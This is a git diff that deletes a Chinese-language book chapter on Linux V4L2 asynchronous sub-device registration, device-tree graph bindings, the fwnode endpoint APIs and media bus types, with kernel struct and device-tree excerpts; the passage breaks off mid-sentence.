摘要 - -在本章中,我们介绍了 V4L2 网桥设备驱动的开发,以及子设备的概念。 我们了解了 V4L2 架构,现在熟悉了它的数据结构。 我们学习了 Videobuf2API,现在可以编写平台桥设备驱动了。 此外,我们应该能够实现子设备操作,并利用 Videobuf2 内核。 - -这一章可以看作是一幅宏大图景的第一部分,因为下一章仍然讨论 V4L2,但我们将讨论异步核心以及与媒体控制器框架的集成。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/08.md b/docs/master-linux-device-driver-dev/08.md deleted file mode 100644 index 4b23c7b8..00000000 --- a/docs/master-linux-device-driver-dev/08.md +++ /dev/null @@ -1,1624 +0,0 @@ -# 八、与 V4L2 异步和媒体控制器框架集成 - -随着时间的推移,媒体支持已经成为**片上系统**(**SoCS**)的必备和销售论据,它正变得越来越复杂。 这些媒体 IP 核的复杂性使得获取传感器数据需要软件设置整个流水线(由多个子设备组成)。 基于设备树的系统的异步特性意味着那些子设备的设置和探测并不简单。 因此进入异步框架,当所有媒体子设备都准备好时,异步框架解决对子设备的无序探测,以便媒体设备按时弹出。 最后但并非最不重要的一点是,由于媒体管道的复杂性,有必要找到一种方法来简化组成它的子设备的配置。 于是出现了媒体控制器框架,它将整个媒体管道包装在单个元素(媒体设备)中。 它附带一些抽象概念,其中之一是每个子设备都被视为一个实体,要么具有接收器垫,要么具有源垫,或者两者兼而有之。 - -本章将重点介绍异步和媒体控制器框架如何工作以及它们是如何设计的,我们还将介绍它们的 API,以了解如何在**Video4Linux2**(**V4L2**)设备驱动开发中利用它们。 - -换句话说,在本章中,我们将介绍以下主题: - -* V4L2 异步接口和图绑定的概念 -* V4L2 异步和面向图形的 API -* V4L2 异步框架和 API -* Linux 媒体控制器框架 - -# 技术要求 - -在本章中,您将需要以下元素: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# V4L2 异步接口和图绑定的概念 - -到目前为止,对于 V4L2 驱动开发,我们实际上还没有处理探测顺序。 也就是说,我们考虑了同步方法,即桥接设备驱动在探测期间为所有子设备同步注册设备。 但是,此方法不能用于本质上异步和无序的设备注册系统,例如**展平的设备树**。 为了解决这个问题,引入了我们目前所称的异步接口。 - -使用这种新方法,网桥驱动注册子设备描述符和通知器回调的列表,子设备驱动注册它们将要探测或已经成功探测的子设备。 异步核心将负责根据硬件描述符匹配子设备,并在找到匹配时调用网桥驱动回调。 当子设备未注册时,会调用另一个回调。 异步子系统以一种特殊方式依赖于设备声明,称为**图绑定**,我们将在下一节讨论这一点。 - -## 图形绑定 - -嵌入式系统的设备数量减少了,其中一些设备是无法发现的。 然而,设备树出现在画面中是为了(从硬件的角度)向内核描述实际系统。 有时(如果不是总是),这些设备以某种方式相互连接。 - -虽然可以在设备树中使用指向其他节点的`phandle`属性来描述简单而直接的连接(例如父/子关系),但无法对由多个互连组成的复合设备进行建模。 在某些情况下,关系建模会产生一个相当完整的图形-例如,i.MX6**图像处理单元**(**IPU**),它本身是一个逻辑设备,但由几个物理 IP 块组成,这些物理 IP 块的互连可能会导致相当复杂的管道。 - -这就是所谓的**开放固件**(的**)**图**与其 API 和一些新概念一起介入**端口**和**端点**概念的地方:** - -* 可以将**端口**视为设备中的接口(如在 IP 块中)。 -* 可以将**端点**视为焊盘,因为它描述了到远程端口的连接的一端。 - -但是,`phandle`属性仍用于引用树中的其他节点。 有关这方面的更多文档,请参阅`Documentation/devicetree/bindings/graph.txt`。 - -### 端口和端点表示 - -端口是设备的接口。 设备可以有一个或多个端口。 端口由其所属设备的节点中包含的端口节点表示。 每个端口节点都包含此端口连接到的每个远程设备端口的端点子节点。 这意味着单个端口可以连接到远程设备上的多个端口,并且每个链路必须由端点子节点表示。 现在,如果设备节点包含多个端口,如果一个端口处有多个端点,或者端口节点需要连接到选定的硬件接口,则使用`#address-cells`、`#size-cells`和`reg`属性的流行方案来为节点编号。 - -以下摘录显示了如何使用`#address-cells`、`#size-cells`和`reg`属性来处理这些情况: - -```sh -device { -    ... -    #address-cells = <1>; -    #size-cells = <0>; -    port@0 { -        #address-cells = <1>; -        #size-cells = <0>; -        reg = <0>; -        endpoint@0 { -            reg = <0>; -            ... -        }; -        endpoint@1 { -            reg = <1>; -            ... -        }; -    }; -    port@1 { -        reg = <1>; -        endpoint { ... }; -    }; -}; -``` - -这方面的完整文档可以在`Documentation/devicetree/bindings/graph.txt`中找到。 现在我们已经完成了端口和端点表示,我们需要学习如何彼此链接,如下一节中所述。 - -### 端点链接 - -对于要链接在一起的两个端点,它们中的每个都应该包含一个`remote-endpoint``phandle`属性,该属性指向远程设备端口中的相应端点。 反过来,远程端点应该包含`remote-endpoint`属性。 其`remote-endpoint`管脚相互指向的两个端点在包含端口之间形成链接,如下例所示: - -```sh -device-1 { -    port { -        device_1_output: endpoint { -            remote-endpoint = <&device_2_input>; -        }; -    }; -}; -device-2 { -    port { -        device_2_input: endpoint { -            remote-endpoint = <&device_1_output>; -        }; -    }; -} -``` - -引入图绑定概念而不讨论它的 API 将是浪费时间。 让我们跳到这个新的 binding 方法附带的 API。 - -## V4L2 异步和面向图形的 API - -这一节的标题不能误导您,因为图绑定不仅仅是针对 V4L2 子系统的。 Linux`DRM`子系统也利用了它。 也就是说,异步框架在很大程度上依赖于设备树来描述媒体设备及其端点和连接,或者这些端点之间的链路以及它们的总线配置属性。 - -### 从 DT(of_graph_*)接口到通用 fwnode 图 API(fwnode_graph_*) - -`fwnode`图形 API 是一次成功的尝试,将仅基于图形 API 的设备树更改为通用 API,将 ACPI 和 API 的设备树合并在一起,以获得统一和通用的 API。 这通过使用相同的 API 用 ACPI 扩展了图形的概念。 通过查看`struct device_node`和`struct acpi_device`结构,您可以看到它们的共同成员:`struct fwnode_handle fwnode`: - -```sh -struct device_node { -[...] -    struct fwnode_handle fwnode; -[...] -}; -``` - -前面的摘录从设备树的角度表示设备节点,而下面的摘录与 ACPI 相关: - -```sh -struct acpi_device { -[...] -    struct fwnode_handle fwnode; -[...] -}; -``` - -`fwnode`成员属于`struct fwnode_handle`类型,是抽象`device_node`或`acpi_device`的较低级别的泛型数据结构,因为它们都继承自此数据结构。 这使得`struct fwnode_handle`成为图形 API 同质化的好客户机,以便端点(通过其`fwnode_handle`类型的字段)可以引用 ACPI 设备或基于 OF 的设备。 该抽象模型现在用于图形 API 中,允许我们通过嵌入指向`struct fwnode_handle`的指针的通用数据结构(`struct fwnode_endpoint`,如下所述)来抽象端点,该指针可以引用 ACPI 或 OF 节点。 除了通用性之外,这还允许此端点的基础子设备基于 ACPI 或 OF: - -```sh -struct fwnode_endpoint { -    unsigned int port; -    unsigned int id; -    const struct fwnode_handle *local_fwnode; -}; -``` - -此结构不推荐使用旧的`struct of_endpoint`结构,`device_node*`类型的成员为`fwnode_handle*`类型的成员留出空间。 在上述结构中,`local_fwnode`指向相关固件节点,`port`为端口号(即对应于`port@0`中的`0`或`port@1`中的`1`),`id`为该端点在端口内的索引(即对应于`endpoint@0`中的`0`和`endpoint@1`中的`1`)。 - -V4L2 框架使用此模型通过构建在`fwnode_endpoint`之上的`struct v4l2_fwnode_endpoint`来抽象与 V4L2 相关的端点,如下所示: - -```sh -struct v4l2_fwnode_endpoint { -    struct fwnode_endpoint base; -    /* -     * Fields below this line will be zeroed by -     * v4l2_fwnode_endpoint_parse() -     */ -    enum v4l2_mbus_type bus_type; -    union { -        struct v4l2_fwnode_bus_parallel parallel; -        struct v4l2_fwnode_bus_mipi_csi1 mipi_csi1; -        struct v4l2_fwnode_bus_mipi_csi2 mipi_csi2; -    } bus; -    u64 *link_frequencies; -    unsigned int nr_of_link_frequencies; -}; -``` - -从内核 v4.13 开始,这个结构就过时并取代了`struct v4l2_of_endpoint`,以前由 V4L2 用来表示 API 的**V4L2 时代的端点节点。 在前面的数据结构定义中,`base`表示底层 ACPI 或设备节点的`struct fwnode_endpoint`结构。 其他字段与 V4L2 相关,如下所示:** - -* `bus_type`是该子设备用于传输数据的媒体总线的类型。 此成员的值确定应使用来自`fwnode`终结点(设备树或 ACPI)的解析总线属性填充哪个底层总线结构。 `enum v4l2_mbus_type`中列出了可能的值,如下所示: - - ```sh - enum v4l2_mbus_type { -     V4L2_MBUS_PARALLEL, -     V4L2_MBUS_BT656, -     V4L2_MBUS_CSI1, -     V4L2_MBUS_CCP2, -     V4L2_MBUS_CSI2, - }; - ``` - -* `bus`是表示媒体总线本身的结构。 联合中已经存在可能的值,`bus_type`确定要考虑的值。 这些总线结构都在`include/media/v4l2-fwnode.h`中定义。 -* `link_frequencies`是该链路支持的频率列表。 -* `nr_of_link_frequencies` is the number of elements in `link_frequencies`. - - 重要音符 - - 在内核 v4.19 中,`bus_type`成员是根据`fwnode`中的`bus-type`属性独占设置的。 驱动可以检查读取的值并调整其行为。 这意味着 V4L2`fwnode`API 将始终将其解析策略基于此`fwnode`属性。 然而,从内核 V5.0 开始,驱动必须将此成员设置为预期的总线类型(在调用解析函数之前),该类型将与在`fwnode`中读取的`bus-type`属性的值进行比较,如果它们不匹配,则会引发错误。 如果总线类型未知或司机可以处理多个总线类型,则必须使用`V4L2_MBUS_UNKNOWN`值。 从内核 V5.0 开始,该值也是`enum v4l2_mbus_type`的一部分。 - - 在内核代码中,您可以找到`enum v4l2_fwnode_bus_type`枚举类型。 这是一个 V4L2`fwnode`本地枚举类型,它相当于全局`enum v4l2_mbus_type`枚举类型,其值相互映射。 随着代码的发展,它们各自的值保持同步。 - -然后,与 V4L2 相关的绑定需要附加属性。 这些属性的一部分用于构建`v4l2_fwnode_endpoint`,另一部分用于构建底层的`bus`(实际上是媒体总线)结构。 所有这些都在专门的、与视频相关的绑定文档`Documentation/devicetree/bindings/media/video- interfaces.txt`中进行了描述,我强烈建议您查看该文档。 - -下面是网桥(`isc`)和传感子设备(`mt9v032`)之间的典型绑定: - -```sh -&i2c1 { -    #address-cells = <1>; -    #size-cells = <0>; -    mt9v032@5c { -        compatible = "aptina,mt9v032"; -        reg = <0x5c>; -        port { -            mt9v032_out: endpoint { -                remote-endpoint = <&isc_0>; -                link-frequencies = -                       /bits/ 64 <13000000 26600000 27000000>; -                hsync-active = <1>; -                vsync-active = <0>; -                pclk-sample = <1>; -            }; -        }; -    }; -}; -&isc { -    port { -        isc_0: endpoint@0 { -            remote-endpoint = <&mt9v032_out>; -            hsync-active = <1>; -            vsync-active = <0>; -            pclk-sample = <1>; -        }; -    }; -}; -``` - -在前面的绑定中,`hsync-active`、`vsync-active`、`link-frequencies`和`pclk- sample`都是特定于 V4L2 的属性,并描述了媒体总线。 他们的价值观在这里并不连贯,也没有真正意义上的意义,但很适合我们的学习目的。 本摘录很好地展示了端点和远程端点的概念;在*Linux 媒体控制器框架*一节中详细讨论了`struct v4l2_fwnode_endpoint`的用法。 - -重要音符 - -V4L2 处理和`fwnode`API 的部分称为**V4L2 fwnode API**。 它取代了仅支持设备树的 API,即 API 的**V4L2。 前者有一组 API 前缀为`v4l2_fwnode_`,而第二个 API 集的前缀为`v4l2_of_`。 请注意,在仅基于 OF 的 API 中,端点由`struct of_endpoint`表示,而与 V4L2 相关的端点由`struct v4l2_of_endpoint`表示。 有一些 API 允许从基于 OF 的模型切换到基于`fwnode`的模型,反之亦然。** - -的 V4L2`fwnode`和 V4L2 是完全可互操作的。 例如,使用 V4L2`fwnode`的子设备驱动将毫不费力地与使用 V4L2 的媒体设备驱动一起工作,反之亦然! 但是,新驱动必须使用`fwnode`API,包括`#include `,当切换到`fwnode`API 时,它应该替换旧驱动中的`#include `。 - -话虽如此,前面讨论的`struct fwnode_endpoint`只是为了展示潜在的机制。 我们本可以完全跳过它,因为只有核心处理此数据结构。 对于更通用的方法,与其使用`struct device_node`来引用设备的固件节点,不如使用新的`struct fwnode_handle`。 这无疑确保了 DT 和 ACPI 绑定使用驱动中的相同代码是兼容的/可互操作的。 以下是新驱动因素中的变化应该是什么样子的简短摘录: - -```sh --    struct device_node *of_node; -+    struct fwnode_handle *fwnode; --    of_node = ddev->of_node; -+ fwnode = dev_fwnode(dev); -``` - -一些常见的`fwnode`节点相关接口如下: - -```sh -[...] -struct fwnode_handle *fwnode_get_parent( -                           const struct fwnode_handle *fwnode); -struct fwnode_handle *fwnode_get_next_child_node( -                           const struct fwnode_handle *fwnode, -                           struct fwnode_handle *child); -struct fwnode_handle *fwnode_get_next_available_child_node( -                            const struct fwnode_handle *fwnode, -                            struct fwnode_handle *child); -#define fwnode_for_each_child_node(fwnode, child) \ -    for (child = fwnode_get_next_child_node(fwnode, NULL); child; \ -           child = fwnode_get_next_child_node(fwnode, child)) -#define fwnode_for_each_available_child_node(fwnode, child) \ -    for (child = fwnode_get_next_available_child_node(fwnode,                                                      NULL);          child; \ -   child = fwnode_get_next_available_child_node(fwnode, child)) -struct fwnode_handle *fwnode_get_named_child_node( -                            const struct fwnode_handle *fwnode, -                            const char *childname); -struct fwnode_handle *fwnode_handle_get(struct                                         fwnode_handle *fwnode); -void fwnode_handle_put(struct fwnode_handle *fwnode); -``` - -上述接口有以下说明: - -* `fwnode_get_parent()`返回其`fwnode`值在参数中给定的节点的父句柄,否则返回`NULL`。 -* `fwnode_get_next_child_node()`将父节点作为其第一个参数,并返回该父节点中给定子节点(作为第二个参数给出)之后的下一个子节点(否则返回`NULL`)。 如果`child`(第二个参数)为`NULL`,则将返回该父代的第一个子代。 -* `fwnode_get_next_available_child_node()`与`fwnode_get_next_child_node()`相同,但在返回`fwnode`句柄之前,请确保设备实际存在(已成功探测)。 -* `fwnode_for_each_child_node()`迭代给定节点中的子节点(第一个参数),第二个参数用作迭代器。 -* `fwnode_for_each_available_child_node`与`fwnode_for_each_child_node()`相同,但只在系统中实际存在设备的节点上迭代。 -* `fwnode_get_named_child_node()`按名称获取给定节点中的子节点。 -* `fwnode_handle_get()`获取对设备节点的引用,`fwnode_handle_put()`删除该引用。 - -与`fwnode`相关的一些属性如下: - -```sh -[...] -bool fwnode_device_is_available(const                                 struct fwnode_handle *fwnode); -bool fwnode_property_present(const                              struct fwnode_handle *fwnode, -                             const char *propname); -int fwnode_property_read_string(const                              struct fwnode_handle *fwnode, -                             const char *propname,                              const char **val); -int fwnode_property_match_string(const                                  struct fwnode_handle *fwnode, -                                 const char *propname,                                  const char *string); -``` - -与属性和节点相关的`fwnode`API 在`include/linux/property.h`中都可用。 但是,有帮助器允许在 OF、ACPI 和`fwnode`之间来回切换。 以下是一个简短的示例: - -```sh -/* to switch from fwnode to of */ -struct device_node *of_node = to_of_node(fwnode); -/* to switch from of to fw */ -struct fwnode_handle *fwnode = of_fwnode_handle(node) -/* to switch from fwnode to acpi handle, the below macro has - * been introduced - * - * #define ACPI_HANDLE_FWNODE(fwnode) \ - *        acpi_device_handle(to_acpi_device_node(fwnode)) - * - * and to switch from acpi device to fwnode: - * - *   struct fwnode_handle * - *          acpi_fwnode_handle(struct acpi_device *adev) - * - */ -``` - -最后,也是对我们来说最重要的是`fwnode`图形 API。 在下面的代码片段中,我们列举了此 API 最重要的函数: - -```sh -struct fwnode_handle -   *fwnode_graph_get_next_endpoint(const                                   struct fwnode_handle *fwnode, -                                  struct fwnode_handle *prev); -struct fwnode_handle -   *fwnode_graph_get_port_parent(const                                  struct fwnode_handle *fwnode); -struct fwnode_handle -   *fwnode_graph_get_remote_port_parent( -                           const struct fwnode_handle *fwnode); -struct fwnode_handle -   *fwnode_graph_get_remote_port(const                                  struct fwnode_handle *fwnode); -struct fwnode_handle -   *fwnode_graph_get_remote_endpoint( -                           const struct fwnode_handle *fwnode); -#define fwnode_graph_for_each_endpoint(fwnode, child) \ -    for (child = NULL; \ -    (child = fwnode_graph_get_next_endpoint(fwnode, child)); ) -int fwnode_graph_parse_endpoint(const                                 struct fwnode_handle *fwnode, -                             struct fwnode_endpoint *endpoint); -[...] -``` - -尽管前面的函数名介绍了它们自身,但下面更好地描述了它们的作用: - -* `fwnode_graph_get_next_endpoint()`返回上一个端点(`prev`,第二个参数)之后的给定节点(第一个参数)中的下一个端点(否则返回`NULL`)。 如果`prev`为`NULL`,则返回第一个端点。 此函数获取对返回的终结点的引用,该终结点在使用后必须删除。 参见`fwnode_handle_put()`。 -* `fwnode_graph_get_port_parent()`返回参数中给定的端口节点的父节点。 -* `fwnode_graph_get_remote_port_parent()`返回远程设备的固件节点,该远程设备包含其固件节点是通过`fwnode`参数给定的终结点。 -* `fwnode_graph_get_remote_endpoint()`返回远程终结点的固件节点,该远程终结点与其固件节点是通过`fwnode` 参数给定的本地终结点相对应。 -* `fwnode_graph_parse_endpoint()`解析表示图形端点节点的`fwnode`(第一个参数)中的公共端点节点属性,并将信息存储在`endpoint`(第二个和输出参数)中。 V4L2 固件节点 e API 大量使用这一点。 - -### V4L2 固件节点(V4L2 Fwnode)API - -V4L2 fwnode API 的主要数据结构为`struct v4l2_fwnode_endpoint`。 这个结构只不过是`struct fwnode_handle`增加了一些与 V4L2 相关的属性。 然而,这里有一个与 V4L2 相关的 fwnode 图函数值得一谈:`v4l2_fwnode_endpoint_parse()`。 此函数的原型声明为`include/media/v4l2-fwnode.h`,如下所示: - -```sh -int v4l2_fwnode_endpoint_parse(struct fwnode_handle *fwnode, -                             struct v4l2_fwnode_endpoint *vep); -``` - -给定端点的`fwnode_handle`(前面函数中的第一个参数),您可以使用`v4l2_fwnode_endpoint_parse()`来解析所有 fwnode 属性。 该函数还识别并处理特定于 V4L2 的属性,如果您还记得的话,这些属性记录在`Documentation/devicetree/bindings/media/video-interfaces.txt`中。 `v4l2_fwnode_endpoint_parse()`使用`fwnode_graph_parse_endpoint()`解析常见的 fwnode 属性,并使用特定于 V4L2 的解析器助手解析与 V4L2 相关的属性。 如果成功,则返回`0`;如果失败,则返回负错误代码。 - -如果我们考虑`dts`中的`mt9v032`CMOS 图像传感器节点,我们可以在`probe`方法中使用以下代码: - -```sh -int err; -struct fwnode_handle *ep; -struct v4l2_fwnode_endpoint bus_cfg; -/* We grab the fwnode corresponding to the device */ -struct fwnode_handle *fwnode = dev_fwnode(dev); -/* We grab its endpoint(s) node */ -ep = fwnode_graph_get_next_endpoint(fwnode, NULL); -/* We parse the endpoint common properties as well as - * v4l2 related properties */ -err = v4l2_fwnode_endpoint_parse(ep, &bus_cfg); -if (err) {   /* handle error */ } -/* At this point we can access parameters such as bus_type, * bus.flags   - * (in case of mipi csi2 or parallel buses), V4L2_MBUS_* * which are the - * media bus flags - */ -/* we drop the reference on the enpoint */ -fwnode_handle_put(ep); -``` - -前面的代码显示了如何使用 fwnode API 及其 V4L2 版本来访问节点和端点属性。 但是,在调用`v4l2_fwnode_endpoint_parse()`时会解析特定于 V4L2 的属性。 这些属性描述了所谓的**媒体总线**到,其数据从一个接口 e 传送到另一个接口。 我们将在下一节讨论这个问题。 - -### V4L2 转发节点或媒体总线类型 - -大多数媒体设备支持特定的媒体总线类型。 虽然端点链接在一起,但它们实际上是通过总线连接的,需要向 V4L2 框架描述其属性。 为了使 V4L2 能够找到该信息,它在设备的 fwnode(DT 或 ACPI)中作为属性提供。 因为这些是特定的属性,所以 V4L2fwnode API 能够识别和解析它们。 每条总线都有其特性和属性。 - -首先,让我们看看目前支持的总线及其数据结构: - -* **MIPI CSI-1**:这是 MIPI Alliance 的**摄像机串行接口**(**CSI**)版本 1。此总线表示为`struct v4l2_fwnode_bus_mipi_csi1`的实例。 -* **CCP2**:这代表**紧凑型相机端口 2**,由**标准移动成像架构**(**SMIA**)制定,该架构是为处理移动应用(如 SMIA CCP2)中使用的相机模块的公司制定的开放标准。 此总线在此框架中也用`struct v4l2_fwnode_bus_mipi_csi1`实例表示。 -* **并行总线**:这是典型的并行接口,具有`HSYNC`和`VSYNC`信号。 用于表示该总线的结构是`struct v4l2_fwnode_bus_parallel`。 -* **BT656**:这适用于 BT.1120 或在数据中传输常规视频定时和同步信号(`HSYNC`、`VSYNC`和`BLANK`)的任何并行总线。 与标准并行总线相比,这些总线具有更少的引脚数量。 该框架使用`struct v4l2_fwnode_bus_parallel`来表示该总线。 -* **MIPI CSI-2**:这是 MIPI Alliance 的 CSI 接口的版本 2。 此总线由`struct v4l2_fwnode_bus_mipi_csi2`结构抽象。 但是,此数据结构不区分 D-PHY 和 C-PHY。 从内核 V5.0 开始,就解决了这种差异不足的问题。 - -正如我们将在后面的一章中看到的,在*媒体总线的概念*一节中,总线的这个概念可以用来检测本地端点与其远程对应设备之间的兼容性,这样,如果两个子设备不具有相同的总线属性,就不能链接在一起,这是完全有道理的。 - -在前面的*V4L2fwnode API*部分中,我们看到`v4l2_fwnode_endpoint_parse()`负责解析端点的 fwnode 并填充适当的总线结构。 此函数首先调用`fwnode_graph_parse_endpoint()`以解析常见的 fwnode 图形相关属性,然后检查`bus-type`属性的值,如下所示,以确定适当的`v4l2_fwnode_endpoint.bus`数据类型: - -```sh -u32 bus_type = 0; -fwnode_property_read_u32(fwnode, "bus-type", &bus_type); -``` - -根据此值,将选择总线数据结构。 以下是来自`fwnode`设备的预期可能值: - -* `0`:这意味着自动检测。 内核将根据 fwnode 中存在的属性(MIPI CSI-2 D-PHY、PARALLEL 或 BT656)尝试猜测总线类型。 -* `1`:这意味着 MIPI CSI-2 C-PHY。 -* `2`:这意味着 MIPI CSI-1。 -* `3`:这意味着 CCP2。 - -例如,对于 CPP2 总线,设备的 fwnode 将包含以下行: - -```sh -bus-type = <3>; -``` - -重要音符 - -从内核 V5.0 开始,驱动可以在将其作为第二个参数提供给`v4l2_fwnode_endpoint_parse()`之前,在`v4l2_fwnode_endpoint`的`bus_type`成员中指定预期的总线类型。 这样,除非预期的总线 t 类型设置为`V4L2_MBUS_UNKNOWN`,否则如果前面的`fwnode_property_read_u32`返回的值与预期值不匹配,则解析将失败。 - -#### BT656 和并行总线 - -这些总线类型都是,由`struct v4l2_fwnode_bus_parallel`表示,如下所示: - -```sh -struct v4l2_fwnode_bus_parallel { -    unsigned int flags; -    unsigned char bus_width; -    unsigned char data_shift; -}; -``` - -在前面的数据结构中,`flags`表示总线的标志。 这些标志将根据设备固件节点中存在的属性进行设置。 `bus_width`表示当前使用的数据线的数量,不一定是总线的总线数。 `data_shift`用于通过指定在到达第一个有效数据线之前要跳过的行数来指定真正使用哪些数据线。 以下是用于设置`struct v4l2_fwnode_bus_parallel`的这些媒体总线的绑定属性: - -* `hsync-active`:HSYNC 信号的激活状态;`0`/`1`分别表示`LOW`/`HIGH`。 如果该属性的值为`0`,则在`flags`成员中设置`V4L2_MBUS_HSYNC_ACTIVE_LOW`标志。 任何其他值将改为设置`V4L2_MBUS_HSYNC_ACTIVE_HIGH`标志。 -* `vsync-active`:Vsync 信号的激活状态;`0`/`1`分别对应于`LOW`/`HIGH`。 如果该属性的值为`0`,则在`flags`成员中设置`V4L2_MBUS_VSYNC_ACTIVE_LOW`标志。 任何其他值将改为设置`V4L2_MBUS_VSYNC_ACTIVE_HIGH`标志。 -* `field-even-active`:偶数场数据传输期间的场信号电平。 这与前面的相同,但是相关的标志是`V4L2_MBUS_FIELD_EVEN_HIGH`和`V4L2_MBUS_FIELD_EVEN_LOW`。 -* `pclk-sample`:像素时钟信号`V4L2_MBUS_PCLK_SAMPLE_RISING`和`V4L2_MBUS_PCLK_SAMPLE_FALLING`的上升沿(`1`)或下降沿(`0`)上的采样数据。 -* `data-active`:与`HSYNC`和`VSYNC`类似,指定数据线极性`V4L2_MBUS_DATA_ACTIVE_HIGH`和`V4L2_MBUS_DATA_ACTIVE_LOW`。 -* `slave-mode`:这是一个布尔属性,它的出现表明链路在从属模式下运行,并且设置了`V4L2_MBUS_SLAVE`标志。 否则,将设置`V4L2_MBUS_MASTER`标志。 -* `data-enable-active`:与`HSYNC`和`VSYNC`类似,指定数据使能信号极性。 -* `bus-width`:此属性仅与并行总线有关,并表示当前使用的数据线的数量。 相应地设置`V4L2_MBUS_DATA_ENABLE_HIGH`或`V4L2_MBUS_DATA_ENABLE_LOW`标志。 -* `data-shift`:在使用`bus-width`指定数据线数量的并行数据总线上,此属性可用于指定实际使用的数据线;例如,`bus-width=<8>; data-shift=<2>;`表示使用 9:2 线。 -* `sync-on-green-active`:**同步绿色**(**SOG**)信号的激活状态;`LOW`/`HIGH`分别为`0`/`1`。 相应地设置`V4L2_MBUS_VIDEO_SOG_ACTIVE_HIGH`或`V4L2_MBUS_VIDEO_SOG_ACTIVE_LOW`标志。 - -这些总线的类型为`V4L2_MBUS_PARALLEL`或`V4L2_MBUS_BT656`。 负责解析这些总线的底层函数是`v4l2_fwnode_endpoint_parse_parallel_bus()`。 - -#### MIPI CSI-2 总线 - -这是 MIPI 联盟的 CSI 总线的第二版。 此总线涉及两个物理层:D-PHY 或 C-PHY。 D-PHY 面世已有一段时间,主要针对相机、显示器和低速应用。 C-PHY 是一种更新、更复杂的 PHY,其中时钟被嵌入到数据中,因此不需要单独的时钟通道。 与 D-PHY 相比,它具有更少的导线、更少的通道数和更低的功耗,并且可以实现更高的数据速率。 C-PHY 在带宽有限的信道上提供高吞吐量性能。 - -启用 C-PHY 和 D-PHY 的总线都使用一个数据结构`struct``v4l2_fwnode_bus_mipi_csi2`表示,如下所示: - -```sh -struct v4l2_fwnode_bus_mipi_csi2 { -    unsigned int flags; -    unsigned char data_lanes[V4L2_FWNODE_CSI2_MAX_DATA_LANES]; -    unsigned char clock_lane; -    unsigned short num_data_lanes; -    bool lane_polarities[1 + V4L2_FWNODE_CSI2_MAX_DATA_LANES]; -}; -``` - -在前面的块中,`flags`代表总线的标志,将根据固件节点中存在的属性进行设置: - -* `data-lanes`是个物理数据通道索引的数组。 -* `lane-polarities`:此属性仅对串行总线有效。 它是通道的极性数组,从时钟通道开始,然后是数据通道,顺序为 SAMe,如`data-lanes`属性。 有效值为`0`(正常)和`1`(反转)。 此数组的长度应该是`data-lanes`和`clock-lanes`属性的组合长度。 有效值为`0`(正常)和`1`(反转)。 如果省略`lane-polarities`属性,则该值必须解释为`0`(正常)。 -* `clock-lanes`是时钟通道的物理通道索引。 这是时钟通道位置。 -* `clock-noncontinuous`:如果存在,则设置`V4L2_MBUS_CSI2_NONCONTINUOUS_CLOCK`标志。 否则,设置`V4L2_MBUS_CSI2_CONTINUOUS_CLOCK`。 - -这些公交车是`V4L2_MBUS_CSI2`型的。 在 Linux 内核 v4.20 之前,支持 C-PHY 和 D-PHY 的 CSI 总线之间没有区别。 然而,从 Linux 内核 V5.0 开始,对于支持 D-PHY 或 C-PHY 的总线,已经引入了这种差异,并且分别用`V4L2_MBUS_CSI2_DPHY`或`V4L2_MBUS_CSI2_CPHY`替换了`V4L2_MBUS_CSI2`。 - -负责解析这些总线的底层函数是`v4l2_fwnode_endpoint_parse_csi2_bus()`。 下面是一个例子: - -```sh -[...] -    port { -        tc358743_out: endpoint { -          remote-endpoint = <&mipi_csi2_in>;           clock-lanes = <0>; -          data-lanes = <1 2 3 4>; -          lane-polarities = <1 1 1 1 1>; -          clock-noncontinuous; -        }; -    }; -``` - -#### CPP2 和 MIPI CSI-1 总线 - -这些是较旧的单数据通道串行总线。 它们的类型对应于`V4L2_FWNODE_BUS_TYPE_CCP2`或`V4L2_FWNODE_BUS_TYPE_CSI1`。 内核使用`struct v4l2_fwnode_bus_mipi_csi1`表示这些总线: - -```sh -struct v4l2_fwnode_bus_mipi_csi1 { -    bool clock_inv; -    bool strobe; -    bool lane_polarity[2]; -    unsigned char data_lane; -    unsigned char clock_lane; -}; -``` - -以下是此结构中元素的含义: - -* `clock-inv`:时钟/选通信号的极性(FALSE 表示不反转,TRUE 表示反转)。 `0`表示 FALSE,其他值表示 TRUE。 -* `strobe`:假-数据/时钟,真-数据/选通。 -* `data-lanes`:数据通道的数量。 -* `clock-lanes`:时钟通道的数量。 -* `lane-polarities`:这与前面相同,但由于 CPP2 和 MIPI CSI-1 是单数据串行总线,阵列只能有两个条目:时钟极性(索引`0`)和数据通道(索引`1`)。 - -在解析给定节点之后,前面的数据结构用`v4l2_fwnode_endpoint_parse_csi1_bus()`填充。 - -#### 猜公交车 - -将总线类型指定为`0`(或`V4L2_MBUS_UNKNOWN`)将指示 V4L2 内核根据固件节点中找到的属性尝试猜测实际的媒体总线。 它将首先考虑设备是否在 CSI-2 总线上,并尝试相应地解析端点节点,查找与 CSI-2 相关的属性。 幸运的是,CSI-2 和并行总线没有共同的属性。 这样,如果且仅当没有找到特定于 MIPI CSI-2 的属性时,内核才会解析并行视频总线属性。 核心不是 guess`V4L2_MBUS_CCP2`也不是`V4L2_MBUS_CSI1`。 对于这些总线,必须指定`bus-type`属性。 - -## V4L2 异步 - -由于基于视频的硬件非常复杂,有时会集成位于不同总线上的非 V4L2 设备(实际上是子设备),因此需要对子设备推迟初始化,直到加载了网桥驱动,而另一方面,网桥驱动需要推迟初始化子设备,直到加载了所有所需的子设备;即 V4L2 异步。 - -在异步模式下,可以独立于网桥驱动可用性调用子设备探测。 然后,子设备驱动必须验证子设备驱动是否满足成功探测的所有要求。 这可以包括检查主时钟可用性、GPIO 或任何其他内容。 如果不满足任何条件,子设备驱动可能决定返回`-EPROBE_DEFER`以请求进一步的重新探测尝试。 一旦满足所有条件,子设备将使用`v4l2_async_register_subdev()`函数向 V4L2 异步内核注册。 取消注册是使用`v4l2_async_unregister_subdev()`调用执行的。 - -我们在前面看到了同步注册的应用。 在这种模式下,网桥驱动知道其负责的所有子设备的上下文。 它负责在探测期间使用每个子设备上的`v4l2_device_register_subdev()`注册所有子设备,就像`drivers/media/platform/exynos4-is/media-dev.c`驱动一样。 - -在 V4L2 异步框架中,抽象子设备的概念。 子设备在异步框架中被称为`struct v4l2_async_subdev`结构的实例。 除了这个结构,还有另一个`struct 